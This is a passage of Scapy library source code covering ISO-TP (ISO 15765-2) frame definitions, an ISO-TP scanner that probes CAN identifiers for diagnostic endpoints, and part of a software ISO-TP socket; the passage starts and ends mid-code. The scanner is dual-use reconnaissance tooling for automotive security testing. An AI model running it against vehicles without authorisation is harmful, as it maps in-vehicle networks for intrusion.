p.rx_ext_address is None) \ or (use_extended_addressing is None): results.append(p) if not results: return None if len(results) > 1: log_isotp.warning( "More than one ISOTP frame could be defragmented from the " "provided CAN frames, only returning the first one.") return results[0] class ISOTPHeader(CAN): name = 'ISOTPHeader' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', None), ThreeBytesField('reserved', 0) ] def extract_padding(self, p): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return p, None def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ This will set the ByteField 'length' to the correct value. """ if self.length is None: pkt = pkt[:4] + chb(len(pay)) + pkt[5:] if conf.contribs['CAN']['swap-bytes']: data = CAN.inv_endianness(pkt) # type: bytes return data + pay return pkt + pay def guess_payload_class(self, payload): # type: (bytes) -> Type[Packet] """ISO-TP encodes the frame type in the first nibble of a frame. This is used to determine the payload_class :param payload: payload bytes string :return: Type of payload class """ if len(payload) < 1: return self.default_payload_class(payload) t = (orb(payload[0]) & 0xf0) >> 4 if t == 0: length = (orb(payload[0]) & 0x0f) if length == 0: return ISOTP_SF_FD else: return ISOTP_SF elif t == 1: if len(payload) < 2: return self.default_payload_class(payload) length = ((orb(payload[0]) & 0x0f) << 12) + orb(payload[1]) if length == 0: return ISOTP_FF_FD else: return ISOTP_FF elif t == 2: return ISOTP_CF else: return ISOTP_FC class ISOTPHeader_FD(ISOTPHeader): name = 'ISOTPHeaderFD' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', None), FlagsField('fd_flags', 4, 8, ['bit_rate_switch', 'error_state_indicator', 'fd_frame']), ShortField('reserved', 0), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes data = super().post_build(pkt, pay) length = data[4] if 8 < length <= 24: wire_length = length + (-length) % 4 elif 24 < length <= 64: wire_length = length + (-length) % 8 elif length > 64: raise NotImplementedError else: wire_length = length pad = b"\x00" * (wire_length - length) return data[0:4] + chb(wire_length) + data[5:] + pad class ISOTPHeaderEA(ISOTPHeader): name = 'ISOTPHeaderExtendedAddress' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', None), ThreeBytesField('reserved', 0), XByteField('extended_address', 0) ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ This will set the ByteField 'length' to the correct value. 'chb(len(pay) + 1)' is required, because the field 'extended_address' is counted as payload on the CAN layer """ if self.length is None: pkt = pkt[:4] + chb(len(pay) + 1) + pkt[5:] if conf.contribs['CAN']['swap-bytes']: data = CAN.inv_endianness(pkt) # type: bytes return data + pay return pkt + pay class ISOTPHeaderEA_FD(ISOTPHeaderEA): name = 'ISOTPHeaderExtendedAddressFD' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', None), FlagsField('fd_flags', 4, 8, ['bit_rate_switch', 'error_state_indicator', 'fd_frame']), ShortField('reserved', 0), XByteField('extended_address', 0) ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes data = super().post_build(pkt, pay) length = data[4] if 8 < length <= 24: wire_length = length + (-length) % 4 elif 24 < length <= 64: wire_length = length + (-length) % 8 elif length > 64: raise NotImplementedError else: wire_length = length pad = b"\x00" * (wire_length - length) return data[0:4] + chb(wire_length) + data[5:] + pad ISOTP_TYPE = {0: 'single', 1: 'first', 2: 'consecutive', 3: 'flow_control'} class ISOTP_SF(Packet): name = 'ISOTPSingleFrame' fields_desc = [ BitEnumField('type', 0, 4, ISOTP_TYPE), BitFieldLenField('message_size', None, 4, length_of='data'), StrLenField('data', b'', length_from=lambda pkt: pkt.message_size) ] class ISOTP_SF_FD(Packet): name = 'ISOTPSingleFrameFD' fields_desc = [ BitEnumField('type', 0, 4, ISOTP_TYPE), BitField('zero_field', 0, 4), FieldLenField('message_size', None, length_of='data', fmt="B"), StrLenField('data', b'', length_from=lambda pkt: pkt.message_size) ] class ISOTP_FF(Packet): name = 'ISOTPFirstFrame' fields_desc = [ BitEnumField('type', 1, 4, ISOTP_TYPE), BitField('message_size', 0, 12), ConditionalField(IntField('extended_message_size', 0), lambda pkt: pkt.message_size == 0), StrField('data', b'', fmt="B") ] class ISOTP_FF_FD(Packet): name = 'ISOTPFirstFrame' fields_desc = [ BitEnumField('type', 1, 4, ISOTP_TYPE), BitField('zero_field', 0, 12), IntField('message_size', 0), StrField('data', b'', fmt="B") ] class ISOTP_CF(Packet): name = 'ISOTPConsecutiveFrame' fields_desc = [ BitEnumField('type', 2, 4, ISOTP_TYPE), BitField('index', 0, 4), StrField('data', b'', fmt="B") ] class ISOTP_FC(Packet): name = 'ISOTPFlowControlFrame' fields_desc = [ BitEnumField('type', 3, 4, ISOTP_TYPE), BitEnumField('fc_flag', 0, 4, {0: 'continue', 1: 'wait', 2: 'abort'}), ByteField('block_size', 0), ByteField('separation_time', 0), ] ================================================ FILE: scapy/contrib/isotp/isotp_scanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Alexander Schroeder # scapy.contrib.description = ISO-TP (ISO 15765-2) Scanner Utility # scapy.contrib.status = library import itertools import json import logging import time from threading import Event # Typing imports from typing import ( Any, Dict, Iterable, List, Optional, Tuple, Union, Type, ) from scapy.compat import orb from scapy.contrib.cansocket import PYTHON_CAN from scapy.contrib.isotp import ISOTPHeader_FD from scapy.contrib.isotp.isotp_packet import ISOTPHeader, ISOTPHeaderEA, \ ISOTP_FF, ISOTP, ISOTPHeaderEA_FD from scapy.layers.can import CAN, CANFD from scapy.packet import Packet from scapy.supersocket import SuperSocket log_isotp = logging.getLogger("scapy.contrib.isotp") def send_multiple_ext(sock, ext_id, packet, number_of_packets): # type: (SuperSocket, int, Packet, int) -> None """Send multiple packets with extended addresses at once. This function is used for scanning with extended addresses. It sends multiple packets at once. The number of packets is defined in the number_of_packets variable. It only iterates the extended ID, NOT the actual CAN ID of the packet. This method is used in extended scan function. :param sock: CAN interface to send packets :param ext_id: Extended ISOTP-Address :param packet: Template Packet :param number_of_packets: number of packets to send in one batch """ end_id = min(ext_id + number_of_packets, 255) for i in range(ext_id, end_id + 1): packet.extended_address = i sock.send(packet) def get_isotp_packet(identifier=0x0, extended=False, extended_can_id=False, fd=False): # type: (int, bool, bool, bool) -> Packet """Craft ISO-TP packet :param identifier: identifier of crafted packet :param extended: boolean if packet uses extended address :param extended_can_id: boolean if CAN should use extended Ids :param fd: boolean if CANFD packets should be used :return: Crafted Packet """ if extended: if fd: pkt = ISOTPHeaderEA_FD() / ISOTP_FF() # type: Packet else: pkt = ISOTPHeaderEA() / ISOTP_FF() pkt.extended_address = 0 pkt.data = b'\x00\x00\x00\x00\x00' else: if fd: pkt = ISOTPHeader_FD() / ISOTP_FF() else: pkt = ISOTPHeader() / ISOTP_FF() pkt.data = b'\x00\x00\x00\x00\x00\x00' if extended_can_id: pkt.flags = "extended" pkt.identifier = identifier pkt.message_size = 100 return pkt def filter_periodic_packets(packet_dict): # type: (Dict[int, Tuple[Packet, int]]) -> None """Filter to remove periodic packets from packet_dict ISOTP-Filter for periodic packets (same ID, always same time-gaps) Deletes periodic packets in packet_dict :param packet_dict: Dictionary, where the filter is applied """ filter_dict = {} # type: Dict[int, Tuple[List[int], List[Packet]]] for key, value in packet_dict.items(): pkt = value[0] idn = value[1] if idn not in filter_dict: filter_dict[idn] = ([key], [pkt]) else: key_lst, pkt_lst = filter_dict[idn] filter_dict[idn] = (key_lst + [key], pkt_lst + [pkt]) for idn in filter_dict: key_lst = filter_dict[idn][0] pkt_lst = filter_dict[idn][1] if len(pkt_lst) < 3: continue tg = [float(p1.time) - float(p2.time) for p1, p2 in zip(pkt_lst[1:], pkt_lst[:-1])] if all(abs(t1 - t2) < 0.001 for t1, t2 in zip(tg[1:], tg[:-1])): log_isotp.info( "[i] Identifier 0x%03x seems to be periodic. Filtered.") for k in key_lst: del packet_dict[k] def get_isotp_fc( id_value, # type: int id_list, # type: Union[List[int], Dict[int, Tuple[Packet, int]]] noise_ids, # type: Optional[List[int]] extended, # type: bool packet, # type: Packet ): # type: (...) -> None """Callback for sniff function when packet received If received packet is a FlowControl and not in noise_ids append it to id_list. :param id_value: packet id of send packet :param id_list: list of received IDs :param noise_ids: list of packet IDs which will not be considered when received during scan :param extended: boolean if extended scan :param packet: received packet """ if packet.flags and packet.flags != "extended": return if noise_ids is not None and packet.identifier in noise_ids: return try: index = 1 if extended else 0 isotp_pci = orb(packet.data[index]) >> 4 isotp_fc = orb(packet.data[index]) & 0x0f if isotp_pci == 3 and 0 <= isotp_fc <= 2: log_isotp.info("Found flow-control frame from identifier " "0x%03x when testing identifier 0x%03x", packet.identifier, id_value) if isinstance(id_list, dict): id_list[id_value] = (packet, packet.identifier) elif isinstance(id_list, list): id_list.append(id_value) else: raise TypeError("Unknown type of id_list") else: if noise_ids is not None: noise_ids.append(packet.identifier) except Exception as e: log_isotp.exception( "Unknown message Exception: %s on packet: %s", e, repr(packet)) def scan(sock, # type: SuperSocket scan_range=range(0x800), # type: Iterable[int] noise_ids=None, # type: Optional[List[int]] sniff_time=0.1, # type: float extended_can_id=False, # type: bool verify_results=True, # type: bool stop_event=None, # type: Optional[Event] fd=False # type: bool ): # type: (...) -> Dict[int, Tuple[Packet, int]] """Scan and return dictionary of detections ISOTP-Scan - NO extended IDs found_packets = Dictionary with Send-to-ID as key and a tuple (received packet, Recv_ID) :param sock: socket for can interface :param scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff :param noise_ids: list of packet IDs which will not be tested during scan :param sniff_time: time the scan waits for isotp flow control responses after sending a first frame :param extended_can_id: Send extended can frames :param verify_results: Verify scan results. This will cause a second scan of all possible candidates for ISOTP Sockets :param stop_event: Event object to asynchronously stop the scan :param fd: Use CANFD packets for scan :return: Dictionary with all found packets """ return_values = dict() # type: Dict[int, Tuple[Packet, int]] for value in scan_range: if stop_event is not None and stop_event.is_set(): break if noise_ids and value in noise_ids: continue sock.send(get_isotp_packet(value, False, extended_can_id, fd)) sock.sniff(prn=lambda pkt: get_isotp_fc(value, return_values, noise_ids, False, pkt), timeout=sniff_time, store=False) if not verify_results: return return_values cleaned_ret_val = dict() # type: Dict[int, Tuple[Packet, int]] retest_ids = list(set( itertools.chain.from_iterable( range(max(0, i - 2), i + 2) for i in return_values.keys()))) for value in retest_ids: if stop_event is not None and stop_event.is_set(): break sock.send(get_isotp_packet(value, False, extended_can_id, fd)) sock.sniff(prn=lambda pkt: get_isotp_fc(value, cleaned_ret_val, noise_ids, False, pkt), timeout=sniff_time * 10, store=False) if return_values != cleaned_ret_val: log_isotp.error("Some ISOTP endpoints detected in first scan didn't " "answer validation round. Possible bug on target.") return cleaned_ret_val def scan_extended(sock, # type: SuperSocket scan_range=range(0x800), # type: Iterable[int] scan_block_size=32, # type: int extended_scan_range=range(0x100), # type: Iterable[int] noise_ids=None, # type: Optional[List[int]] sniff_time=0.1, # type: float extended_can_id=False, # type: bool stop_event=None, # type: Optional[Event] fd=False # type: bool ): # type: (...) -> Dict[int, Tuple[Packet, int]] """Scan with ISOTP extended addresses and return dictionary of detections If an answer-packet found -> slow scan with single packages with extended ID 0 - 255 found_packets = Dictionary with Send-to-ID as key and a tuple (received packet, Recv_ID) :param sock: socket for can interface :param scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff :param scan_block_size: count of packets send at once :param extended_scan_range: range to search for extended ISOTP addresses :param noise_ids: list of packet IDs which will not be tested during scan :param sniff_time: time the scan waits for isotp flow control responses after sending a first frame :param extended_can_id: Send extended can frames :param stop_event: Event object to asynchronously stop the scan :param fd: Use CANFD packets for scan :return: Dictionary with all found packets """ return_values = dict() # type: Dict[int, Tuple[Packet, int]] scan_block_size = scan_block_size or 1 r = list(extended_scan_range) for value in scan_range: if noise_ids and value in noise_ids: continue pkt = get_isotp_packet( value, extended=True, extended_can_id=extended_can_id, fd=fd) id_list = [] # type: List[int] for ext_isotp_id in range(r[0], r[-1], scan_block_size): if stop_event is not None and stop_event.is_set(): break send_multiple_ext(sock, ext_isotp_id, pkt, scan_block_size) sock.sniff(prn=lambda p: get_isotp_fc(ext_isotp_id, id_list, noise_ids, True, p), timeout=sniff_time * 3, store=False) # sleep to prevent flooding time.sleep(sniff_time) # remove duplicate IDs id_list = list(set(id_list)) for ext_isotp_id in id_list: if stop_event is not None and stop_event.is_set(): break for ext_id in range(max(ext_isotp_id - 2, 0), min(ext_isotp_id + scan_block_size + 2, 256)): if stop_event is not None and stop_event.is_set(): break pkt.extended_address = ext_id full_id = (value << 8) + ext_id sock.send(pkt) sock.sniff(prn=lambda pkt: get_isotp_fc(full_id, return_values, noise_ids, True, pkt), timeout=sniff_time * 2, store=False) return return_values def isotp_scan(sock, # type: SuperSocket scan_range=range(0x7ff + 1), # type: Iterable[int] extended_addressing=False, # type: bool extended_scan_range=range(0x100), # type: Iterable[int] noise_listen_time=2, # type: int sniff_time=0.1, # type: float output_format=None, # type: Optional[str] can_interface=None, # type: Optional[str] extended_can_id=False, # type: bool verify_results=True, # type: bool verbose=False, # type: bool stop_event=None, # type: Optional[Event] fd=False # type: bool ): # type: (...) -> Union[str, List[SuperSocket]] """Scan for ISOTP Sockets on a bus and return findings Scan for ISOTP Sockets in the defined range and returns found sockets in a specified format. The format can be: - text: human readable output - code: python code for copy&paste - json: json string - sockets: if output format is not specified, ISOTPSockets will be created and returned in a list :param sock: CANSocket object to communicate with the bus under scan :param scan_range: range of CAN-Identifiers to scan. Default is 0x0 - 0x7ff :param extended_addressing: scan with ISOTP extended addressing :param extended_scan_range: range for ISOTP extended addressing values :param noise_listen_time: seconds to listen for default communication on the bus :param sniff_time: time the scan waits for isotp flow control responses after sending a first frame :param output_format: defines the format of the returned results (text, code or sockets). Provide a string e.g. "text". Default is "socket". :param can_interface: interface used to create the returned code/sockets :param extended_can_id: Use Extended CAN-Frames :param verify_results: Verify scan results. This will cause a second scan of all possible candidates for ISOTP Sockets :param verbose: displays information during scan :param stop_event: Event object to asynchronously stop the scan :param fd: Create CANFD frames :return: """ if verbose: log_isotp.setLevel(logging.DEBUG) log_isotp.info("Filtering background noise...") # Send dummy packet. In most cases, this triggers activity on the bus. if fd: dummy_pkt_cls = CANFD # type: Union[Type[CAN], Type[CANFD]] else: dummy_pkt_cls = CAN dummy_pkt = dummy_pkt_cls(identifier=0x123, data=b'\xaa\xbb\xcc\xdd\xee\xff\xaa\xbb') background_pkts = sock.sniff( timeout=noise_listen_time, started_callback=lambda: sock.send(dummy_pkt)) noise_ids = list(set(pkt.identifier for pkt in background_pkts)) if extended_addressing: found_packets = scan_extended(sock, scan_range, extended_scan_range=extended_scan_range, noise_ids=noise_ids, sniff_time=sniff_time, extended_can_id=extended_can_id, stop_event=stop_event, fd=fd) else: found_packets = scan(sock, scan_range, noise_ids=noise_ids, sniff_time=sniff_time, extended_can_id=extended_can_id, verify_results=verify_results, stop_event=stop_event, fd=fd) filter_periodic_packets(found_packets) if output_format == "text": return generate_text_output(found_packets, extended_addressing, fd) if output_format == "code": return generate_code_output(found_packets, can_interface, extended_addressing, fd) if output_format == "json": return generate_json_output(found_packets, can_interface, extended_addressing, fd) return generate_isotp_list(found_packets, can_interface or sock, extended_addressing, fd) def generate_text_output(found_packets, extended_addressing=False, fd=False): # type: (Dict[int, Tuple[Packet, int]], bool, bool) -> str """Generate a human readable output from the result of the `scan` or the `scan_extended` function. :param found_packets: result of the `scan` or `scan_extended` function :param extended_addressing: print results from a scan with ISOTP extended addressing :param fd: set CANFD flag in output :return: human readable scan results """ if not found_packets: return "No packets found." text = "\nFound %s ISOTP-FlowControl Packet(s):" % len(found_packets) for pack in found_packets: if extended_addressing: send_id = pack // 256 send_ext = pack - (send_id * 256) ext_id = hex(orb(found_packets[pack][0].data[0])) text += "\nSend to ID: %s" \ "\nSend to extended ID: %s" \ "\nReceived ID: %s" \ "\nReceived extended ID: %s" \ "\nMessage: %s" % \ (hex(send_id), hex(send_ext), hex(found_packets[pack][0].identifier), ext_id, repr(found_packets[pack][0])) else: text += "\nSend to ID: %s" \ "\nReceived ID: %s" \ "\nMessage: %s" % \ (hex(pack), hex(found_packets[pack][0].identifier), repr(found_packets[pack][0])) padding = found_packets[pack][0].length == 8 if padding: text += "\nPadding enabled" else: text += "\nNo Padding" if fd: text += "\nCANFD enabled" text += "\n" return text def generate_code_output(found_packets, can_interface="iface", extended_addressing=False, fd=False): # type: (Dict[int, Tuple[Packet, int]], Optional[str], bool, bool) -> str """Generate a copy&past-able output from the result of the `scan` or the `scan_extended` function. :param found_packets: result of the `scan` or `scan_extended` function :param can_interface: description string for a CAN interface to be used for the creation of the output. :param extended_addressing: print results from a scan with ISOTP extended addressing :param fd: set CANFD flag in output :return: Python-code as string to generate all found sockets """ result = "" if not found_packets: return result header = "\n\nimport can\n" \ "conf.contribs['CANSocket'] = {'use-python-can': %s}\n" \ "load_contrib('cansocket')\n" \ "load_contrib('isotp')\n\n" % PYTHON_CAN for pack in found_packets: if extended_addressing: send_id = pack // 256 send_ext = pack - (send_id * 256) ext_id = orb(found_packets[pack][0].data[0]) result += "ISOTPSocket(%s, tx_id=0x%x, rx_id=0x%x, padding=%s, " \ "ext_address=0x%x, rx_ext_address=0x%x, fd=%s, " \ "basecls=ISOTP)\n" % \ (can_interface, send_id, int(found_packets[pack][0].identifier), found_packets[pack][0].length == 8, send_ext, ext_id, fd) else: result += "ISOTPSocket(%s, tx_id=0x%x, rx_id=0x%x, padding=%s, fd=%s, " \ "basecls=ISOTP)\n" % \ (can_interface, pack, int(found_packets[pack][0].identifier), found_packets[pack][0].length == 8, fd) return header + result def generate_json_output(found_packets, # type: Dict[int, Tuple[Packet, int]] can_interface="iface", # type: Optional[str] extended_addressing=False, # type: bool fd=False # type: bool ): # type: (...) -> str """Generate a list of ISOTPSocket objects from the result of the `scan` or the `scan_extended` function. :param found_packets: result of the `scan` or `scan_extended` function :param can_interface: description string for a CAN interface to be used for the creation of the output. :param extended_addressing: print results from a scan with ISOTP extended addressing :param fd: set CANFD flag in output :return: A list of all found ISOTPSockets """ socket_list = [] # type: List[Dict[str, Any]] for pack in found_packets: pkt = found_packets[pack][0] dest_id = pkt.identifier pad = True if pkt.length == 8 else False if extended_addressing: source_id = pack >> 8 source_ext = int(pack - (source_id * 256)) dest_ext = orb(pkt.data[0]) socket_list.append({"iface": can_interface, "tx_id": source_id, "ext_address": source_ext, "rx_id": dest_id, "rx_ext_address": dest_ext, "padding": pad, "fd": fd, "basecls": ISOTP.__name__}) else: source_id = pack socket_list.append({"iface": can_interface, "tx_id": source_id, "rx_id": dest_id, "padding": pad, "fd": fd, "basecls": ISOTP.__name__}) return json.dumps(socket_list) def generate_isotp_list(found_packets, # type: Dict[int, Tuple[Packet, int]] can_interface, # type: Union[SuperSocket, str] extended_addressing=False, # type: bool fd=False # type: bool ): # type: (...) -> List[SuperSocket] """Generate a list of ISOTPSocket objects from the result of the `scan` or the `scan_extended` function. :param found_packets: result of the `scan` or `scan_extended` function :param can_interface: description string for a CAN interface to be used for the creation of the output. :param extended_addressing: print results from a scan with ISOTP extended addressing :param fd: set CANFD flag in output :return: A list of all found ISOTPSockets """ from scapy.contrib.isotp import ISOTPSocket socket_list = [] # type: List[SuperSocket] for pack in found_packets: pkt = found_packets[pack][0] dest_id = pkt.identifier pad = True if pkt.length == 8 else False if extended_addressing: source_id = pack >> 8 source_ext = int(pack - (source_id * 256)) dest_ext = orb(pkt.data[0]) socket_list.append(ISOTPSocket(can_interface, tx_id=source_id, ext_address=source_ext, rx_id=dest_id, rx_ext_address=dest_ext, padding=pad, fd=fd, basecls=ISOTP)) else: source_id = pack socket_list.append(ISOTPSocket(can_interface, tx_id=source_id, rx_id=dest_id, padding=pad, fd=fd, basecls=ISOTP)) return socket_list ================================================ FILE: scapy/contrib/isotp/isotp_soft_socket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Enrico Pozzobon import heapq # scapy.contrib.description = ISO-TP (ISO 15765-2) Soft Socket Library # scapy.contrib.status = library import logging import socket import struct import time import traceback from bisect import bisect_left from threading import Thread, Event, RLock # Typing imports from typing import ( Optional, Union, List, Tuple, Any, Type, cast, Callable, TYPE_CHECKING, ) from scapy.automaton import ObjectPipe, select_objects from scapy.config import conf from scapy.consts import LINUX from scapy.contrib.isotp.isotp_packet import ISOTP, CAN_MAX_DLEN, N_PCI_SF, \ N_PCI_CF, N_PCI_FC, N_PCI_FF, ISOTP_MAX_DLEN, ISOTP_MAX_DLEN_2015, CAN_FD_MAX_DLEN from scapy.error import Scapy_Exception from scapy.layers.can import CAN, CANFD from scapy.packet import Packet from scapy.supersocket import SuperSocket from scapy.utils import EDecimal if TYPE_CHECKING: from scapy.contrib.cansocket import CANSocket log_isotp = logging.getLogger("scapy.contrib.isotp") # Enum states ISOTP_IDLE = 0 ISOTP_WAIT_FIRST_FC = 1 ISOTP_WAIT_FC = 2 ISOTP_WAIT_DATA = 3 ISOTP_SENDING = 4 # /* Flow Status given in FC frame */ ISOTP_FC_CTS = 0 # /* clear to send */ ISOTP_FC_WT = 1 # /* wait */ ISOTP_FC_OVFLW = 2 # /* overflow */ class ISOTPSoftSocket(SuperSocket): """ This class is a wrapper around the ISOTPSocketImplementation, for the reasons described below. The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP sockets provided by the can-isotp kernel module, while being usable on any operating system. Therefore, this socket needs to be able to respond to an incoming FF frame with a FC frame even before the recv() method is called. A thread is needed for receiving CAN frames in the background, and since the lower layer CAN implementation is not guaranteed to have a functioning POSIX select(), each ISOTP socket needs its own CAN receiver thread. SuperSocket automatically calls the close() method when the GC destroys an ISOTPSoftSocket. However, note that if any thread holds a reference to an ISOTPSoftSocket object, it will not be collected by the GC. The implementation of the ISOTP protocol, along with the necessary thread, are stored in the ISOTPSocketImplementation class, and therefore: * There no reference from ISOTPSocketImplementation to ISOTPSoftSocket * ISOTPSoftSocket can be normally garbage collected * Upon destruction, ISOTPSoftSocket.close() will be called * ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close() * RX background thread can be stopped by the garbage collector Initialize an ISOTPSoftSocket using the provided underlying can socket. Example (with NativeCANSocket underneath): >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} >>> load_contrib('isotp') >>> with ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) as sock: >>> sock.send(...) Example (with PythonCANSocket underneath): >>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} >>> conf.contribs['CANSocket'] = {'use-python-can': True} >>> load_contrib('isotp') >>> with ISOTPSocket(CANSocket(bustype='socketcan', channel="can0"), tx_id=0x641, rx_id=0x241) as sock: >>> sock.send(...) :param can_socket: a CANSocket instance, preferably filtering only can frames with identifier equal to rx_id :param tx_id: the CAN identifier of the sent CAN frames :param rx_id: the CAN identifier of the received CAN frames :param ext_address: the extended address of the sent ISOTP frames :param rx_ext_address: the extended address of the received ISOTP frames :param bs: block size sent in Flow Control ISOTP frames :param stmin: minimum desired separation time sent in Flow Control ISOTP frames :param padding: If True, pads sending packets with 0x00 which not count to the payload. Does not affect receiving packets. :param listen_only: Does not send Flow Control frames if a First Frame is received :param basecls: base class of the packets emitted by this socket :param fd: enables the CanFD support for this socket """ # noqa: E501 def __init__(self, can_socket=None, # type: Optional["CANSocket"] tx_id=0, # type: int rx_id=0, # type: int ext_address=None, # type: Optional[int] rx_ext_address=None, # type: Optional[int] bs=0, # type: int stmin=0, # type: int padding=False, # type: bool listen_only=False, # type: bool basecls=ISOTP, # type: Type[Packet] fd=False # type: bool ): # type: (...) -> None if LINUX and isinstance(can_socket, str): from scapy.contrib.cansocket_native import NativeCANSocket can_socket = NativeCANSocket(can_socket, fd=fd) elif isinstance(can_socket, str): raise Scapy_Exception("Provide a CANSocket object instead") self.ext_address = ext_address self.rx_ext_address = rx_ext_address or ext_address self.tx_id = tx_id self.rx_id = rx_id self.fd = fd impl = ISOTPSocketImplementation( can_socket, tx_id=self.tx_id, rx_id=self.rx_id, padding=padding, ext_address=self.ext_address, rx_ext_address=self.rx_ext_address, bs=bs, stmin=stmin, listen_only=listen_only, fd=fd ) # Cast for compatibility to functions from SuperSocket. self.ins = cast(socket.socket, impl) self.outs = cast(socket.socket, impl) self.impl = impl self.basecls = basecls if basecls is None: log_isotp.warning('Provide a basecls ') def close(self): # type: () -> None if not self.closed: if hasattr(self, "impl"): self.impl.close() self.closed = True def failure_analysis(self): # type: () -> None self.impl.failure_analysis() def recv_raw(self, x=0xffff): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """Receive a complete ISOTP message, blocking until a message is received or the specified timeout is reached. If self.timeout is 0, then this function doesn't block and returns the first frame in the receive buffer or None if there isn't any.""" if not self.closed: tup = self.impl.recv() if tup is not None: return self.basecls, tup[0], float(tup[1]) return self.basecls, None, None def recv(self, x=0xffff, **kwargs): # type: (int, **Any) -> Optional[Packet] msg = super(ISOTPSoftSocket, self).recv(x, **kwargs) if msg is None: return None if hasattr(msg, "tx_id"): msg.tx_id = self.tx_id if hasattr(msg, "rx_id"): msg.rx_id = self.rx_id if hasattr(msg, "ext_address"): msg.ext_address = self.ext_address if hasattr(msg, "rx_ext_address"): msg.rx_ext_address = self.rx_ext_address return msg @staticmethod def select(sockets, remain=None): # type: ignore[override] # type: (List[Union[SuperSocket, ObjectPipe[Any]]], Optional[float]) -> List[Union[SuperSocket, ObjectPipe[Any]]] # noqa: E501 """This function is called during sendrecv() routine to wait for sockets to be ready to receive """ obj_pipes: List[Union[SuperSocket, ObjectPipe[Tuple[bytes, Union[float, EDecimal]]]]] = [ # noqa: E501 x.impl.rx_queue for x in sockets if isinstance(x, ISOTPSoftSocket) and not x.closed] obj_pipes += [x for x in sockets if isinstance(x, ObjectPipe) and not x.closed] ready_pipes = select_objects(obj_pipes, remain) result: List[Union[SuperSocket, ObjectPipe[Any]]] = [ x for x in sockets if isinstance(x, ISOTPSoftSocket) and not x.closed and x.impl.rx_queue in ready_pipes] result += [x for x in sockets if isinstance(x, ObjectPipe) and x in ready_pipes] return result class TimeoutScheduler: """A timeout scheduler which uses a single thread for all timeouts, unlike python's own Timer objects which use a thread each.""" GRACE = .1 _mutex = RLock() _event = Event() _thread = None # type: Optional[Thread] # use heapq functions on _handles! _handles = [] # type: List[TimeoutScheduler.Handle] logger = logging.getLogger("scapy.contrib.automotive.timeout_scheduler") @classmethod def schedule(cls, timeout, callback): # type: (float, Callable[[], None]) -> TimeoutScheduler.Handle """Schedules the execution of a timeout. The function `callback` will be called in `timeout` seconds. Returns a handle that can be used to remove the timeout.""" when = cls._time() + timeout handle = cls.Handle(when, callback) with cls._mutex: # Add the handler to the heap, keeping the invariant # Time complexity is O(log n) heapq.heappush(cls._handles, handle) must_interrupt = cls._handles[0] == handle # Start the scheduling thread if it is not started already if cls._thread is None: t = Thread(target=cls._task, name="TimeoutScheduler._task") t.daemon = True must_interrupt = False cls._thread = t cls._event.clear() t.start() if must_interrupt: # if the new timeout got in front of the one we are currently # waiting on, the current wait operation must be aborted and # updated with the new timeout cls._event.set() time.sleep(0) # call "yield" # Return the handle to the timeout so that the user can cancel it return handle @classmethod def cancel(cls, handle): # type: (TimeoutScheduler.Handle) -> None """Provided its handle, cancels the execution of a timeout.""" with cls._mutex: if handle in cls._handles: # Time complexity is O(n) handle._cb = None cls._handles.remove(handle) heapq.heapify(cls._handles) if len(cls._handles) == 0: # set the event to stop the wait - this kills the thread cls._event.set() else: raise Scapy_Exception("Handle not found") @classmethod def clear(cls): # type: () -> None """Cancels the execution of all timeouts.""" with cls._mutex: cls._handles = [] # set the event to stop the wait - this kills the thread cls._event.set() @classmethod def _peek_next(cls): # type: () -> Optional[TimeoutScheduler.Handle] """Returns the next timeout to execute, or `None` if list is empty, without modifying the list""" with cls._mutex: return cls._handles[0] if cls._handles else None @classmethod def _wait(cls, handle): # type: (Optional[TimeoutScheduler.Handle]) -> None """Waits until it is time to execute the provided handle, or until another thread calls _event.set()""" now = cls._time() # Check how much time until the next timeout if handle is None: to_wait = cls.GRACE else: to_wait = handle._when - now # Wait until the next timeout, # or until event.set() gets called in another thread. if to_wait > 0: cls.logger.debug("Thread going to sleep @ %f " + "for %fs", now, to_wait) interrupted = cls._event.wait(to_wait) new = cls._time() cls.logger.debug("Thread awake @ %f, slept for" + " %f, interrupted=%d", new, new - now, interrupted) # Clear the event so that we can wait on it again, # Must be done before doing the callbacks to avoid losing a set(). cls._event.clear() @classmethod def _task(cls): # type: () -> None """Executed in a background thread, this thread will automatically start when the first timeout is added and stop when the last timeout is removed or executed.""" cls.logger.debug("Thread spawning @ %f", cls._time()) time_empty = None try: while 1: handle = cls._peek_next() if handle is None: now = cls._time() if time_empty is None: time_empty = now # 100 ms of grace time before killing the thread if cls.GRACE < now - time_empty: return else: time_empty = None cls._wait(handle) cls._poll() finally: # Worst case scenario: if this thread dies, the next scheduled # timeout will start a new one cls.logger.debug("Thread died @ %f", cls._time()) cls._thread = None @classmethod def _poll(cls): # type: () -> None """Execute all the callbacks that were due until now""" while 1: with cls._mutex: now = cls._time() if len(cls._handles) == 0 or cls._handles[0]._when > now: # There is nothing to execute yet return # Time complexity is O(log n) handle = heapq.heappop(cls._handles) callback = None if handle is not None: callback = handle._cb handle._cb = True # Call the callback here, outside the mutex if callable(callback): try: callback() except Exception: traceback.print_exc() @staticmethod def _time(): # type: () -> float return 